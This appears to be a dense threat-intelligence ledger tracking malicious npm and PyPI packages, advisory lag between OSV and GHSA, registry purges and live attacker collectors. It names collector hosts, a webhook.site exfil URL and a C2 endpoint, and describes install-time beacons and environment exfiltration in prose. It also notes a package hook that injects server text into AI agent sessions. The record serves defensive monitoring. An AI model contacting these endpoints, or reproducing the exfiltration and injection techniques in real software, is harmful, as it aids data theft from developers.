c8d3eae1... possibly last public copy. 17710 pxnpm (finder eskim86) = LIVE 7.0.3 iterated PAST its 7.0.0-era advisory scope with the author-forced registry+authenticated-proxy MITM rails verified intact in the 7.0.3 tarball (b59358de...): PXNPM_CONFIG_REGISTRY https://registry-pxnpm.rdc.nfjbill.ren:20021/ HTTP 409 + :20022 TCP-OPEN at check, base64 proxy credential embedded, networkPolicy fixed ignores user overrides; prior MAL-2026-13605 (yakuza0, Aug-7) rode the same rail; class = design-level MITM not malware-payload. STATE-CHANGES: kafka-roller PYPI-PURGED (json+simple 404, control requests 200) ~90-120 min after its while-advised versions AND OSV 17703 RETRO-SCOPED (modified 22:30:41Z) to all SEVEN versions 99.0.0-99.0.6 = OSV lane closed the version-lag blind spot BEFORE the GHSA lane for the first time on this ledger (GHSA-8798 still five rows); both kafka-roller collectors still ARMED post-purge. ZERO GHSA on the five amazon-inspector names ~1-1.5 h post-OSV = forward mirror accruing; alias clock: 17693-17703 still None >=4 h. CURATED QUEUE: #1599 + #1603 MERGED 22:40:13/22:47:08Z after ~6.5 d (queue nine-to-seven-deep, #1590 still open ~145 h) with ZERO new OSV IDs = MAL-0000 placeholders deduped into machine records 17638/17644, the cross-lane duplicate died silently in merge. Prior, OCT 8 ONE-HUNDRED-AND-EIGHTEENTH SWEEP, ~21:0X-21:4X UTC: THE STREAM MOVES ONTO PyPI, OSV +2 MAL-2026-17702 (kafka-helmsman PyPI =99.0.1, 21:15:56Z) + 17703 (kafka-roller PyPI =99.0.0-99.0.4, 20:52:03Z, both ossf-package-analysis) = HIGH-WATER 17703 RESUME 17704 (17704-17706 code:5, eighteenth control sweep). HEADLINE: kafka-roller IS A SELF-DECLARED BUGCROWD CANARY (author am1thc, 'Reserved for Tesla, Inc.' manifest) THAT KEPT PUBLISHING WHILE ADVISED: 99.0.5 21:10:26Z + 99.0.6 21:13:47Z = 18-21 MIN AFTER ITS OWN OSV, name LIVE latest 99.0.6, 21:32Z GHSA mirrors (GHSA-r3f3 + GHSA-8798) still scope-only on the old five = live version-lag blind spot both lanes = advisory-as-build-trigger confirmed on a second PyPI actor; beacon collector MUTATED mid-flight db3va6lrl89...oast.live (ARMED, 72-B body tcy87haf... = thirteenth tracked prefix) to jw1yrpkm5xpav.httpcollaborator.com = FIRST-EVER .httpcollaborator.com resolver lane (armed 42-B GIF pixel); sibling kafka-helmsman delete-then-advise PyPI-404 before its OSV = fifth authorized-canary collision, FIRST on PyPI; neither name ever registered on npm (404); alias rule survives first PyPI pair: 17702/17703 aliases:None 16-40min post-GHSA, 17693-17701 STILL None 2.5h+ post-18:31Z batch. PRIORITY WATCH: tensorlake RECOVERY 0.5.145 (npm 20:24:05Z) = hookless re-export shim onto new scope @tensorlakeai/tensorlake via npm trusted publishing GitHub-Actions OIDC + SLSA v1 + check-no-install-scripts guard, 19h post-GHSA. @dransay eight 0-of-8 purged 8-of-8 installable ~13.5h. FLEET eighth armed check ALL ARMED, 8n0l3yjy ~41h past day two, wave-1 inversion holds second check. abstract-claude 0.1.110; queue nine-deep unchanged. Monitor: 17704+, kafka-roller 99.0.7+ while advised, am1thc siblings, .httpcollaborator.com resolver hunts, tcy87haf prefix, dransay holder event. Prior: OCT 8 ONE-HUNDRED-AND-SEVENTEENTH SWEEP, ~19:2X-19:5X UTC: OSV +2 MAL-2026-17700 (dransay) + 17701 (@kxafunc/xbails) = HIGH-WATER 17701 RESUME 17702 (17702-17710 + spots code:5, seventeenth control sweep). HEADLINE REFINEMENT OF THE SOURCE RULE: the 18:31:53Z GHSA batch (NINE criticals: six dransay names =99.0.0, @bitwardne/cli =1.0.1, @bitwardne/jslib =1.1.0, @kxafunc/xbails =0.0.8) landed with ZERO alias joins, 17693-17701 ALL aliases:None at final read, INCLUDING 17700/17701 WHOSE GHSAs PUBLISHED WHILE THE SWEEP RAN (their records last modified 18:00/18:30Z, BEFORE the batch) = the retroactive join is a SEPARATE reconciliation process that has NEVER fired on an OSV-native record inside 24h on this ledger; name-keyed GHSA query = THE coverage check, alias state on OSV records is meaningless for GHSA coverage. ENFORCEMENT SELECTIVITY ~12h: @dransay 7-of-8 advised / 8-of-8 installable / 0-of-8 purged; @dransay/api still zero-record both lanes. NEW CLASS ITEM: @kxafunc/xbails LIVE 0.0.8 flagged FOR ITS MANIFEST, libsignal=npm:@bellaxchuu/libsignal-node@latest unpinned into Signal E2E code while the target sits scope-purged in an Oct-8 holder (inert dead-switch, re-arm on re-registration; third instance after sea-baileys/@otaxayun + parxleys/@noxzaid; hunt npm:@scope/pkg@latest crypto alias specs). KEV MOVES 2026.10.08/1739 (+5): FIVE HISTORIC ROWS (BIND 2015-5477, Struts 2016-3081, Strapi 2023-22894, ONLYOFFICE 2021-3199, ProFTPD 2015-3306) all due 10-11, open-source-component banner = BOD 26-04 historic-inventory mode, KEV-age not a recency proxy; Veeam lag ~22d, FortiMail 4d past due. HANDLEBAR 2 criticals + 1 medium fixed 4.7.10 same day (50.6M dl/wk carrier). FLEET seventh complete-fleet armed check ALL ARMED, 8n0l3yjy ~39h, WAVE-1 INVERSION #3. abstract-claude 0.1.110 #1590 ~141h; tensorlake 0.5.143; queue nine-deep unchanged; no Shai-Hulud/Mini/TeamPCP. Monitor: 17702+, holder event on the dransay eight, retro-alias arrival on 17693-17701, @bellaxchuu holder release, parxleys. Prior: OCT 8 ONE-HUNDRED-AND-SIXTEENTH SWEEP, ~17:2X-17:5X UTC: OSV +31 CONTIGUOUS MAL-2026-17669-17699 = HIGH-WATER 17699 RESUME 17700, largest single-sweep move on record. TWO DURABLE RULE CHANGES: (1) MIRROR-DEDUPE IS NAME-HISTORY-KEYED, NOT BATCH-KEYED, the Oct-8 13:15-13:37Z PhantomSub GHSA wave minted 12 fresh sequential IDs (17669-17680) for its history-less names while names with Sep-30 records got their GHSAs aliased into the OLD records; the imports arrived 2-4h after the GHSAs with published fields BACK-DATED to the GHSA times, so both prior-sweep quiet reads were true-at-check and aged out mid-cycle (never date an import from published; quiet verdicts expire one check after GHSA-lane activity). (2) THE ALIASES-LAG IS A SOURCE RULE: ghsa-malware-origin records are BORN ALIASED, OSV-native-origin records (amazon-inspector, ossf-package-analysis) sit aliases:None for 24h+ or forever = alias presence identifies the import lane, name-keyed dual-lane queries stay the only coverage check. NEW CANARY COLLISION #4: curated #1609 (InvisiRisk 15:27:35Z) @galicia-toolkit scope, publisher s4yhii_, authorized Banco Galicia bounty PoC, postinstall sha256 14f11bab DNS-encodes hostname/cwd/platform/runtime/username to h/c/m/u.dc.oob.s4yhii.com (resolves 66.94.100.203, HTTP 502), npm PURGED all three + a fourth unfiled name @galicia-toolkit/core (delete-then-advise 58s gap, staging-stub-only doc) inside ~65 min of publish, while @dransay six hours earlier untouched: two authorized-canary scopes, one day, opposite fates = enforcement selectivity not canary-blind. @dransay five siblings retro-advised by amazon-inspector at ~9h (17695-17699) with #1606 still unmerged; eight still 8-of-8 installable, api + dransay still zero-record both lanes, collector armed. Batch also: @bitwardne/cli+jslib Bitwarden-scope typosquats purged-pre-advisory delete-only (name-grammar adjacency to July hijacked-real-@bitwarden, no attribution); five generic utility names (connector-agent, node-fetch-lite, node-gyp-runtime, system-driver, node-env-resolve) holdered +/-2 min of their 14:39:26Z GHSA batch; tailwindcss-effects-kit/ui-extensions third Tailwind-costume wave holdered ~60s post-GHSA; clickfix_npm_delivery GHSA+23s holder. Fleet sixth complete-fleet armed check 8n0l3yjy ~36h. KEV unchanged 2026.10.04/1734. Monitor: 17700+, holder event on the dransay eight, s4yhii_ re-registration, whether OSV-native records ever gain aliases, parxleys arrival. Prior: OCT 8 ONE-HUNDRED-AND-THIRTEENTH SWEEP, ~11:2X-11:4X UTC: THE CURATED LANE DISCLOSES THE SCOPE THE MACHINE LANES MISSED 7 OF 8, ossf/malicious-packages PR #1606 (InvisiRisk / ir-pranesh-shrestha, 08:26:10Z) files ALL EIGHT @dransay canary names as malicious (publisher 0xamino_hunter, one 5.5-min scripted window 07:56:51-08:02:19Z: @dransay/db/secrets/api/phone-fix-test/feature-flags/logger/address-validation + unscoped dransay, all =99.0.0, identical preinstall node beacon.js -> same db3klhbi6i...oast.site collector, per-name URL paths); this wiki registry-verifies ALL EIGHT LIVE latest=99.0.0 flagged version, no holder events, collector still answering 72-B tw6b33h8 body, while machine lanes carry exactly ONE name (MAL-2026-17668 + GHSA-rvr3-j766-6jcp critical 09:31:57Z = 46-min mirror clock) = DURABLE SIBLING RULE: when any one name in a scope is flagged, immediately query and quarantine every sibling under the same publisher/scope/timestamp window, never wait for per-name advisories; InvisiRisk per-name flag timestamps 5-18 s after each publish = live-stream human observation, fastest on-record clock; ALIASES-LAG NOW SYSTEMIC: MAL-2026-17665/66/67/68 all aliases:None >=5h post-GHSA = the OSV alias field is advisory-state-UNSTABLE for hours, name-keyed dual-lane queries the only durable coverage; curated #1607 (eskim86 10:03:04Z) files hardhat-option 2.0.1 with NEW C2 detail: POST http://167.88.172.33:8087/api/log ukey=309 = SAME endpoint as hardhat-promised ukey=301 = shared victim counter not per-package field, this wiki first probe TCP closed/filtered; FLEET complete-fleet armed check: 8n0l3yjy ~30h, zdz5vdmv third check, wave-1 inversion returns second time, personio .oast.fun lane armed db2su65pt FIRST time, Wix second listener orj3tao0; HIGH-WATER HOLDS 17668 RESUME 17669 (17669-17674 absent, fifteenth control sweep); queue seven-deep #1590 ~131h + #1599/1602/1603 + #1606/1607, css-nesting-transform still zero-record ~24.5h; KEV unchanged 2026.10.04/1734; tensorlake holds 0.5.143; no Shai-Hulud/Mini/TeamPCP. Monitor: PR #1606 merge -> eight-ID mint, abuse-lane action on the eight LIVE names, aliases join arrival on 17665+, 167.88.172.33:8087 re-probe. Prior: OCT 8 ONE-HUNDRED-AND-TWELFTH SWEEP, ~09:0X-09:3X UTC: OSV +1 MAL-2026-17668 @dransay/address-validation =99.0.0 published 08:46:02Z ossf-package-analysis = HIGH-WATER 17668 RESUME 17669 (17669-17672 code:5, fourteenth control sweep), THE MACHINE LANE RESTARTS ON A SELF-DECLARED BENIGN BUG-BOUNTY BEACON: DrAnsay/YesWeHack report #YWH-PGM42275-93, researcher 0xamino_hunter, this-wiki tarball pull sha256 5d6846c4 = preinstall node beacon.js, one dns.lookup + one https GET of the package name to db3klhbi6i9hark1kegg174t38h33b6wt.oast.site (LIVE, 72-B body tw6b33h83t471ggek1krah9i6ibhlk3bd, FIRST .oast.site lane on this wiki), fail-open 2.5s, no env/file/persistence; scope Sep 29, 99.0.0 published 08:00:14Z, flagged 46 min later, LIVE latest=99.0.0 115 dl/wk, no GHSA mirror yet; THIRD authorized-canary collision on the ledger (Sep 18 wave, Sep 20 @pwaplatform T-Bank, now @dransay) = SECOND CONFIRMATION of the Sep-20 rule: a canary claim is unfalsifiable from the artifact; defender action: pin @scope:registry=private, treat public-scope hits as confused deputies or verify out-of-band. ALIASES-LAG EXTENDED: MAL-2026-17665/66/67 still aliases:None >=2.5h post-GHSA. LIVE-under-advisory unchanged ~18h (trio flat 1036/525/183, poc2 1.2.0, poc-as-dep 1.3.1, demo-canary 1.0.0). FLEET: 8n0l3yjy ~28h, ii473egh answers zdz5vdmv SECOND consecutive check, dapnhid ctyg5utt fourth, Wix 17th obs, personio 64wd2qm5 third consecutive, WAVE-1 BOTH DARK = inversion lasted one check, orientation check-scoped. KEV unchanged 2026.10.04/1734. Prior: OCT 8 ONE-HUNDRED-AND-ELEVENTH SWEEP, ~07:1X-07:4X UTC: OSV QUIET (17668-17680 code:5 control) = HIGH-WATER HOLDS 17667 RESUME 17668, thirteenth control sweep; THE GHSA MIRROR BATCH FIRES +15 MALWARE GHSAs AT 06:31:24-26Z MIRRORING THE ENTIRE OVERNIGHT RETRO WAVE ~80-150 MIN AFTER THEIR OSV RECORDS, GHSA-v2r3/vx3q/p4jm on the LIVE Tailwind trio (all critical) closing the Dependabot-blind alert in ~80 min, + GHSA-22jf abbishal-poc2 =1.2.0, GHSA-m26x abbishal-poc-as-dependency =1.3.1, GHSA-j2pv @ziedzzz/demo-canary =1.0.0, GHSA-cc9x @praveenvjpm/color-utils-7210, GHSA-756p/wjmq/p2cp on the purged costume names, GHSA-v53q/hr4j/2gp8/qf4q/grmc hardhat-* + GHSA-wxfm dotenv-runtime + GHSA-8gp5 mfasolver; UNDER FULL DUAL-LANE COVERAGE ZERO REGISTRY ACTION, trio LIVE ~16.5h post-filing 1744 combined dl/wk, poc2 LIVE latest 1.2.0 = flagged, poc-as-dep LIVE 1.3.1 preinstall armed, demo-canary LIVE 1.0.0 = nine names fully advised one check, four installable = advisory != takedown controlled; DURABLE: THE OSV-GHSA ALIASES JOIN IS A LAZY BATCH FIELD, mirrored records read aliases:None >=70 min post-GHSA = never infer no-GHSA from a missing alias, query by NAME both lanes. Prior: OCT 8 ONE-HUNDRED-AND-TENTH SWEEP, ~05:25-05:55 UTC: OSV +19 CONTIGUOUS MAL-2026-17649-17667 ALL LIVE (17668-17670 code:5 control) = HIGH-WATER 17667 RESUME 17668, largest single-sweep move since Sep 23; THE MACHINE LANE DRAINS THE ENTIRE BACKLOG IN ONE 90-MINUTE WINDOW, mint-waves 04:00:04/05Z (13 records) + 04:45:04Z (tensorlake) + 05:00:05Z + 05:15:04Z. HEADLINE 1 PRIORITY-WATCH MIRROR LANDS: MAL-2026-17650 tensorlake 0.5.144 (GHSA-rqxj-g25x-4v9v 02:54:39Z; registry latest back to 0.5.143, malicious build purged 02:54:27Z = 12 s BEFORE its own GHSA = delete-then-advise on a legitimate brand → tensorlake page monitoring update). HEADLINE 2 THE CURATED RELAY TEST CLOSES THREE WAYS: #1604 merged 04:52:50Z → MAL-2026-17656 at 05:00:05Z (~7 min); #1605 merged 05:12:18Z → MAL-2026-17665/17666/17667 at 05:15:04Z (~3 MIN, fastest pipeline interval on-wiki); css-reading-display-polyfill was already purged PRE-merge (filing alone tripped the abuse lane); the Tailwind trio is STILL LIVE ~15 h post-filing (1036/525/183 dl/wk steady, both private lure scopes still public-404, nodveta.com 200) WITH OSV IDs AND ZERO GHSA = advisory is not takedown + Dependabot-class blindness (contagious-interview merge-clock section). HEADLINE 3 RETROACTIVE ADVISORY WAVE: every curated-lane name this wiki tracked gets IDs HOURS AFTER ITS PURGE, 17655 css-flow-render-shim, 17656 css-reading-display-polyfill, 17662 hardhat-promised, 17658-17661 hardhat-bits/deep/option/pack (ipcheck-hashed page section), 17664 wix-ssr-thunderbolt-grid-polyfill, 17657 dotenv-runtime, 17663 mfasolver = the purged-unadvised blind spot closes retroactively, the exposure gap never does; css-nesting-transform remains the lone curated-purge name with zero record (#1602 still OPEN = the unmerged-PR test). LIVE-with-ID takedown watch: 17653/17654 abbishal-poc-as-dependency 1.3.1 + abbishal-poc2 1.2.0 (324 dl/wk victim pool behind a SECURITY PLACEHOLDER self-label) + 17652 @ziedzzz/demo-canary (OWASP-training self-label, unindexed); 17651 @praveenvjpm/color-utils-7210 bare-404; 17649 internallib_v788 holder'd (GHSA-8pvp alias). GHSA lane +3: GHSA-hj6h-6xgx-mpjv imgbundle =1.0.0/1.0.1/1.0.2 23:06:15Z ALIASED into existing MAL-2026-17330 = mirror-dedupe on an untracked name (its holder event anchored the 23:07:45Z batch the hundred-ninth clocked); random-certs holder'd zero record. FLEET ~05:3x-05:5xZ 18 tokens: ltidisafe 8n0l3yjy streak ~24 H FIRST FULL DAY longest session in history (ltidisafe day-streak section); Wix pair armed fifteenth obs; wave-1 PHASE INVERSION squat-armed/account-dark = per-spelling per-session, hunts key on the ECHOED body; TWO NEVER-SEEN prefixes on SEPTEMBER-era collectors: dapnhid...oast.fun armed 72-B ctyg5utth1gbm0mpv9s60hc435dihnpad + pa33pg1o... armed 675404drakg3044f5moqo5zjjgjgz = roster ELEVEN prefixes, historic subdomains are live listeners, re-probe the full list; personio hrcv3zo dark at first observation while its .oast.fun twin armed = lanes desync. KEV unchanged 2026.10.04/1734; feeds not walked this sweep; no new Shai-Hulud/Mini/TeamPCP beyond the tensorlake mirror. Monitor: 17668+ with control; GHSA mirror on the trio; npm action on the LIVE trio + abbishal-poc2 + demo-canary; css-nesting-transform/random-certs record arrival; 8n0l3yjy 24-h streak dark flip; ctyg5utt/675404drak on fresh subdomains. PRIOR: OCT 7 ONE-HUNDRED-AND-SIXTH SWEEP, ~19:25-19:55 UTC: OSV QUIET walked with control (17645/17646 live in-route, 17647-17653 46-B code:5) = HIGH-WATER HOLDS 17646 RESUME 17647, ninth consecutive control sweep; GHSA malware lane unmoved since GHSA-3g68 15:44:45Z (~4-h window). HEADLINE, THE CURATED QUEUE LEAKS A CAMPAIGN THE MACHINE LANES HAVE NEVER SEEN: PR #1605 (18:38:04Z, reporter juanda2222) files THREE LIVE Tailwind/Animate.css costume names, animatecss-tailwind-adapter 2.0.6 (grant587holloway, Jul 28, 1,036 dl/wk) + animatecss-tailwind-bridge 2.0.6 (bennetwild, Sep 13, 525 dl/wk) + tailwind-animatecss-uniform 2.0.7 (ares0320, Sep 28, 183 dl/wk), one template (description verbatim, plugin.js main, 8-file layout, public dep list), three single-use accounts, EACH declaring a PRIVATE scoped dependency (@aaron205whitmore/postcss-animate-utils / @jasperquinn/postcss-motion-helpers shared by both Sep names) that does not exist publicly = npm audit/OSV/GHSA tarball scanning structurally blind; lure = fake company Nodveta (nodveta.com 200 LIVE) take-home on Torre.ai committing an npm auth token in .npmrc; ZERO install scripts = --ignore-scripts not protection, execution rides tailwind.config.js under next dev; ALL THREE LIVE zero-OSV zero-GHSA, 1,744 combined dl/wk → NEW PAGE Contagious-Interview Tailwind trio; DURABLE: dep scope that 404s publicly while npm install succeeds = shipped token = lure; costume collision with machine-purged MAL-2026-17646 recorded-not-asserted. ALSO PR #1604 (16:09:55Z, reporter OGAREE) css-reading-display-polyfill 1.0.0 LIVE published Oct 6 21:16Z, this wiki tarball pull: thunderboltRegistry.js (sha 6e496e94) require.cache self-delete + execSync id/whoami/uname/env/ifconfig/hosts exfil via fetch+https.get to webhook.site/69bcd627-1871-4dda-b880-83b37ceac418 (429 = live-throttled collector) + registry-manifest.min.json aliasing files to static.parastorage.com/unpkg/... = Wix costume file-signature hunt fires on a live zero-advisory name (Wix costume-live-cousin section). FLEET ~19:2x-19:4xZ TEN of twelve armed + ROSTER CORRECTION: wave-1 collectors answer under TWO token spellings, squat spellings (3eivfb24/s6z4w73l/5djpny9m) DARK catch-all while account spellings (kt8fl4da/4ivz6quz/c21eg1z4) ARMED at the same check = session state is per-TOKEN not per-listener, roster re-counts to NINE account prefixes, grep both spellings in resolver hunts (ltidisafe dual-spelling section); ltidisafe 8n0l3yjy streak 14 h longest measured; Wix pair armed block ~6 h longest for account. QUEUE five-deep: #1590 ~115.5 h, #1599/#1602/#1603 + #1604/#1605 OPEN; NEW TEST armed: #1604/#1605 carry NO reported-to-npm relay marks, do their LIVE subjects survive to merge (abuse-lane follows curated relay, not curated filing?) or vanish pre-merge like #1602? HEARTBEATS: bare-IP rail POST ok seventh sweep; whltd1 hosts day 13 zero action; KEV unchanged 2026.10.04/1734; feeds below bar; no Shai-Hulud/Mini/TeamPCP public follow-up. Monitor: 17647+ with control; registry/GHSA arrival on the trio + css-reading-display-polyfill; the two private scopes surfacing publicly; nodveta.com/Torre state; wave-1 squat-spelling re-arm flip. PRIOR: OCT 7 ONE-HUNDRED-AND-FIFTH SWEEP, ~17:15-17:45 UTC: OSV +1 MAL-2026-17646 tailwindcss-animatecss-keyframes = HIGH-WATER 17646 RESUME 17647 (control 17645 live in-route, 17647-17653 + spot 17660 code:5, eighth consecutive control sweep). Never-tracked Tailwind-costume squat: 1.0.0 published Sep 28, 0.0.1-security holder 15:44:06.527Z minted 38 s BEFORE GHSA-3g68-5jcj-q8rx published 15:44:45Z (second holder-first instance), OSV modified 16:45:04Z ~60-min fresh-name mirror clock, 164 dl/wk victim pool = nine-day retroactive reach. HEADLINE THE +4 PENDING MIRRORS RESOLVE WITH ZERO NEW IDs - MIRROR-DEDUPE RULE: v1/query name lookups show GHSA-84vp/GHSA-jq3m/GHSA-7cp5 now ALIAS the @ikyyjee trio's EXISTING Baileys-family records MAL-2026-17356/17357/17358 (modified 15:45:06Z) and GHSA-fj97 ALIASES MAL-2026-14486, an AUG 25 amazon-inspector record = spf-analytics was OSV-advised SIX WEEKS before its GHSA/holder lane caught up; a GHSA on an already-MAL-advised name UPDATES the existing record, never a new sequential ID; never read GHSA +N OSV +0 as pending-mirror without name-querying prior MAL history; lane-split alarm retired un-fired (full read on the one-hundred-and-fifth algamil7x section + Baileys trio-alias section). HEADLINE THE BARE-IP RAIL PURGED IN A 48-SECOND BATCH ~7.4 h AFTER ITS 09:31:29Z GHSAs: personio-pipeline-projen 16:54:39.452Z + browser-metrics-plugin.contrib 16:55:25.643Z + troubleshooting 16:55:27.337Z (last two 1.7 s apart, same batched-purge signature as css-flow-render-shim/css-nesting-transform) = ENFORCEMENT IS SELECTIVE AMONG ADVISED NAMES NOT SLOW ACROSS THEM - counter-proof risk-detection/unified-platform GHSA-carrying day 12 zero action (ltidisafe selective-enforcement section); @kibt/www-nuxt-i18n GHSA-less SAME collector SURVIVED the rail purge LIVE 99.0.1 = rail's most exposed artifact; infrastructure outlives packages: 185.158.107.175:8787/_ah/dc GET 200 POST ok SIXTH sweep post-purge, personio collectors ARMED post-purge both lanes, FIRST on-wiki .oast.fun armed string tiz55pw7xd7e8gni6nfg8amutp56us2bd published while armed (garbage control 649-B stock Interactsh page vs 72-B body). FLEET ~17:2x-17:4xZ: ALL TWELVE ARMED third complete-fleet check; Wix pair eleventh observation armed block ~4 h (Wix armed-hold-2 section); ltidisafe 8n0l3yjy streak ~12 h LONGEST collector session measured, wave-1 fingerprints third armed pass. HEARTBEATS: queue #1590 ~113 h + #1599/#1602/#1603 OPEN no merges; abstract-claude steady 0.1.104; bucket no wave-5 day 12/5/3/3/2; KEV unchanged 2026.10.04/1734; feeds below bar (StepSecurity listing tops covered SubQuery/Sckit, Socket Cloudflare standing); no Shai-Hulud/Mini/TeamPCP public follow-up (priority-watch search = covered generations only: MITRE S9043, Tenable FAQ, CSA notes, OpenAI TanStack post, CSA Aug Keyv advisory). Monitor: 17647+ with control; whether selective enforcement ever reaches the whltd1 hosts; xwise8887/personio re-registration; @kibt as sole surviving rail name; first dark flip on the twelve armed tokens. PRIOR: OCT 7 ONE-HUNDRED-AND-FOURTH SWEEP, ~14:50-15:45 UTC: OSV QUIET walked with control (17645 live in-route, 17646-17653 + spot 17660 code:5) = HIGH-WATER HOLDS 17645 RESUME 17646, seventh consecutive control sweep. THE GHSA MALWARE LANE MOVED +4 WITH ZERO OSV RECORDS at final read = four pending forward-mirror arrivals: GHSA-fj97-8h42-crgr spf-analytics (13:42:13Z, holder-only now, 76 dl/wk, 1.0.0 Aug 21 = ~6-week retroactive exposure) + GHSA-84vp-jj79-gp79/GHSA-jq3m-36mx-2xch/GHSA-7cp5-9c7x-jc22 @ikyyjee/ikkysingle+ikyysingle+ikyysinggle (15:32:47-48Z, Sep-published versions, 72-90 dl/wk at purge). HEADLINE THE DELETE-THEN-ADVISE PIPELINE CAUGHT RUNNING LIVE (full read on the one-hundred-and-fourth algamil7x section): the @ikyyjee trio was probed mid-pipeline, 0.0.0-stage-only docs at first read (15:31:48-15:32:05Z, sightings ELEVEN/TWELVE/THIRTEEN), GHSAs 15:32:47Z, holders landing 15:32:54Z to 15:36:58Z = ikkysingle's holder 4m11s AFTER its GHSA; spf-analytics's holder minted 27 s BEFORE its GHSA (13:41:46.497Z vs 13:42:13Z, no stage stub) = DURABLE REVISION: the one-hundred-and-third's 27-second GHSA->holder interlock was a special case; delete->stub->GHSA->holder is one batch sequence with per-name element ordering, gaps -27s to +4m11s; a stub-only doc is not advisory-pending. SECOND: hardhat-promised@2.21.0 UNPUBLISHED by npm 14:19:39Z with ZERO OSV+GHSA = the ~24h zero-advisory run ends purged-unadvised (queue-1599 name #3 erased); THIRD: css-flow-render-shim unpublished 13:35:07.245Z, 1.3 s before css-nesting-transform = the abuse-lane purge is BATCHED on the reporter's submission, one purge timestamp predicts sibling purges inside seconds; the shim's collector is webhook.site (family grammar widens beyond Burp lanes). Monitor: whether the +4 GHSAs mirror to OSV within ~6h (GHSA-fj97 past ~6h unmirrored = machine-side lane split), the 17646+ walk, whether @ikyyjee re-registers, next batch-purge clock-marks. PRIOR: (GHSA-5r5f-v5vv-289q, ghsa-malware import, GHSA 10:22:04Z -> OSV import_time 10:28:22Z = ~6-MINUTE mirror clock, fastest yet) = HIGH-WATER 17643 RESUME 17644 (17644-17653+17656 code:5 absent, controls 17639/17642 live in-route, sixth consecutive control sweep). Baileys-sphere name, delete-then-advise third instance, 0.0.0-stage stub (sighting NINE), versions live only Oct 2, tarballs 404 everywhere, 597 dl/wk = real victim pool, no campaign link asserted -> Baileys page section. HEADLINE THE BARE-IP RAIL ENFORCEMENT CLOCK RANG: GHSA malware-lane batch 09:31:29Z = GHSA-42gg troubleshooting + GHSA-qxf4 browser-metrics-plugin.contrib + GHSA-ph63 personio-pipeline-projen (~2h47m post-Assign-ID mirror) + GHSA-mmx2/GHSA-v9x4 re-minting merged #1598 retro-scopes; scopes clean on troubleshooting (seven attacker versions, 2021 2.0.0 carved out); MAL-2025-49241/49244 now list npm 0.0.1-security AS AFFECTED = the predicted scanner false-positive live. CONTROL-PROBE RULE THIRD FIRING on the GHSA lane: affects= returned EMPTY for every name including known-live css-jptvix-polyfill (its GHSA direct-GET 200) = affects-filtered list BLIND for malware records, walk unfiltered type=malware list; ALL FIVE rail names remain LIVE post-advisory, bare-IP collector GET 200 POST ok third sweep. CURATED LANE: PR #1602 css-nesting-transform + #1603 random-certs (reporter eskim86, LLM-pipeline; both LIVE zero-advisory; this wiki tarball pulls CONFIRM css-nesting-transform carries Wix-Thunderbolt rb.thunderbolt.manifest files under a NON-gibberish name = hunt the file signature, and random-certs eval()s base64 inside a PEM); #1590 ~107.5h unmerged, #1599 open duplicate-watch armed. STATE-CHANGE abstract-claude 0.1.104 (11:25Z) NEW lease_comms_hook.py INBOUND comms hook injecting server text into agent sessions, /comms/poll 401 = backend live, ZERO OSV+GHSA. Fleet: Wix pair DARK second observation, seven others ARMED (ltidisafe streak ~6h, personio armed third check). hardhat-promised ~21.5h zero advisories C2 closed eighth pass; ltidisafe hosts day 12/5/3/3/2 no wave-5; KEV unchanged 2026.10.04/1734 JSON-verified; feeds below bar (Socket published-intel 404 carried, JFrog 404 carried, StepSecurity clean beyond covered, U42 top Blinder covered, Wiz unchanged, MS 403 carried); no Shai-Hulud/Mini/TeamPCP public follow-up -> one-hundred-and-second section + Wix dark-hold section + ltidisafe hold-verification section. Prior, OCT 7 ONE-HUNDRED-AND-FIRST SWEEP, ~09:25-09:55 UTC: OSV QUIET WALKED WITH CONTROL, /v1/vulns/MAL-2026-17639 200 live in-route (+ 17638/17640/17641/17642 re-confirmed live), 17643-17655 all 46-B code:5 record-absent = HIGH-WATER HOLDS 17642 RESUME 17643, fifth consecutive control-discipline sweep. HEADLINE CADENCE TEST #3 BREAKS SYMMETRY, THE FLEET SPLITS: canonical full-token re-probe ~09:3xZ: Wix pair unl9pgk6+orj3tao0 (7uznim4i) = 1190-B CATCH-ALL DARK, while ALL FIVE ltidisafe tokens (8n0l3yjy, byte-identical bodies), the one-off pair (4rgpacf6), AND the personio collector hrcv3zo (64wd2qm5wtjj32bjdzlzvyzjjgkgz, ARMED at SECOND observation = fourth account live-listening now, watch-item resolved first pass) are ARMED at the same check = SEVEN of ten armed while three dark = the FIRST ASYNCHRONOUS account transition in hunt history; cadence test #3 (does the next dark window darken all accounts again?) ANSWERED NO: the four accounts cycle sessions INDEPENDENTLY, the 03:3xZ fleet-dark + 05:2xZ fleet-re-arm synchronized pair downgrades to OVERLAP = simultaneous states are weaker same-operator evidence than they looked, future 3+-account synchronization regains full weight precisely because independence is now proven (cadence observation NOT attribution throughout). Durable: per-token state reads replace fleet-wide shorthand; unl9pgk6 seventh observation armed 17:25Z-dark 23:05Z-armed 01:3xZ-dark 03:3xZ-armed 05:2xZ-armed 07:2xZ-dark ~09:3xZ = armed block ~4 h vs two ~2 h dark blocks, duty cycle skews armed ~2:1, beacon-confirmation coverage ~2/3 of wall-clock. BARE-IP RAIL: 185.158.107.175:8787/_ah/dc GET 200 + POST 200 ok SECOND consecutive sweep; browser-metrics-plugin.contrib + troubleshooting (99.0.1, modified unmoved since 00:0xZ = no new versions) + personio-pipeline-projen (1.171.31) + @kibt/www-nuxt-i18n (99.0.1) ALL LIVE, ZERO GHSA across five affects= queries ~9.5 h post-xwise-advisories = enforcement clock running. HEARTBEATS: hardhat-promised live zero advisories ~19.6 h C2 :8087 closed seventh pass; ltidisafe unscoped+scoped hosts 200 day 12/5/3/3/2, bucket 3.8.3 Last-Modified unmoved, counters AccessDenied no wave-5; abstract-claude frozen 0.1.103, #1590 ~101.5 h, queue two-deep, #1599 duplicate-watch armed; KEV unchanged 2026.10.04/1734 JSON-verified; feeds below bar (StepSecurity listing clean, Socket 403 streak, JFrog 404 carried, Wiz/U42/MS tops already covered); no Shai-Hulud/Mini/TeamPCP public follow-up (priority-watch search returned only covered generations: JFrog Aug keyv wave, StepSecurity May TanStack, Tenable FAQ, ox.security Miasma) -> one-hundred-and-first section + Wix solo-idle section + ltidisafe async-armed section. Prior, OCT 7 ONE-HUNDREDTH SWEEP, ~07:25-07:50 UTC: OSV +3 CONTIGUOUS MAL-2026-17640/17641/17642 = HIGH-WATER 17642 RESUME 17643 (control 17639 in-route, 17643-17654 code:5 absent). Durable: OSV published-field BACK-DATES to package publish not record arrival (17640 claims 00:01:40Z yet was code:5-absent to the ninety-ninth's correct 05:30Z walk, visible only after the 06:44Z Assign-IDs) = never retro-read published as a missed-record tell. 